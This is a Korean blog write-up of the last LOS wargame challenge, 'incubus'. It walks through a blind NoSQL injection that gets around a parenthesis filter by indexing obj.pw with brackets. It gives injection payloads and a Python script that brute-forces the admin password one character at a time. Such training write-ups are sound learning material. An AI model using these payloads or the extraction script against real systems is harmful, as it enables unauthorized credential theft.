드디어 LOS의 마지막 문제 인큐버스다.
CTF에서 Quine Query 문제를 접하고 관련 문제를 풀어보려던 중 LOS를 접하게 되었는데,
관련 문제(30. ouroboros)를 풀기 위해서는 단계 별로 이전 문제들도 풀어야했다.
그렇게 한 문제씩 풀다 보니 결국 마지막 문제까지 왔다. 하하..

각설하고 마지막 문제도 재밌게 풀어보자.


incubus

이번 문제는 result[‘id’]의 결과가 존재하면”Hello {$result[‘id’]}”` 메시지가 브라우저에 출력된다.


먼저 테스트를 위해 id 파라미터에 아래와 같은 페이로드를 작성하여 요청을 보내본다.
?id=admin'||true||' 값을 전달하면 “Hello guest” 메시지가 출력되는 것을 볼 수 있다.
이는, (1)과 같이 입력했을 때 연산자 우선순위에 의해 (2)와 같이 처리되기 때문이다.

(1) return obj.id=='admin'||true||'' && obj.pw=='xxx';
(2) return (obj.id=='admin') || true || ('' && obj.pw=='xxx');


여기서 우리는 “guest”가 아니라, $result['id'] == 'admin' 인 행의 패스워드(pw) 정보를 알아야 한다.
현재 괄호(() 문자는 “preg_match” 함수에 의해 필터링 되고 있어 사용이 불가능하다.
이런 경우에는 [] 문자를 이용해서 객체(오브젝트)의 배열/문자열 인덱싱을 수행할 수 있다.


pw 파라미터에 값을 입력할 때, pw[0] 형태로 입력하면 값이 배열 형태가 되므로
의도한 대로 obj.pw 객체의 인덱싱을 수행할 수 없다.


obj.pw[0], ..., obj.pw[N] 구조로 값을 뽑아내기 위해서는 id 파라미터에 obj.pw[숫자] 구조로 인젝션을 해야한다.
아래와 같이 페이로드를 작성하여 전달하면 참(true) 값이 반환되어 “Hello admin”이 출력된다.

(페이로드) ?id=admin%27%26%26obj.pw[0]>%27a%27;%27

위와 같이 공격 구문을 삽입하면 아래 코드까지만 실행되고, ''&&obj.pw=''; 부분은 실행되지 않는다.
function() { 
	return obj.id == 'admin' && obj.pw[0]>'a';
}


위 페이로드를 통해 Blind NoSQL Injection 이 가능하므로, 자동화 스크립트를 작성할 수 있다.

import requests
import string
 
t_url = 'https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
wordlist = string.ascii_letters + string.digits
password = ''
 
for i in range(0, 32):
    for w in wordlist:
        payload = ( f"?id=admin%27%26%26obj.pw[{i}]%3D%3D%27{w}%27;%27" )
        r = requests.get(t_url + payload, cookies=cookie)
        if "Hello admin" in r.text:
            password += w
            print(f"[+] \"Hello admin\"")
            print(f"\tadmin's password → {password}")
 
            break

획득한 “admin” 계정의 패스워드를 함께 전달하면 마지막 문제 인큐버스도 클리어 성공이다아아아!!! 후ㅏㅇㄷ아아아

🐛.. 🐛.. 🐛..


REFERENCE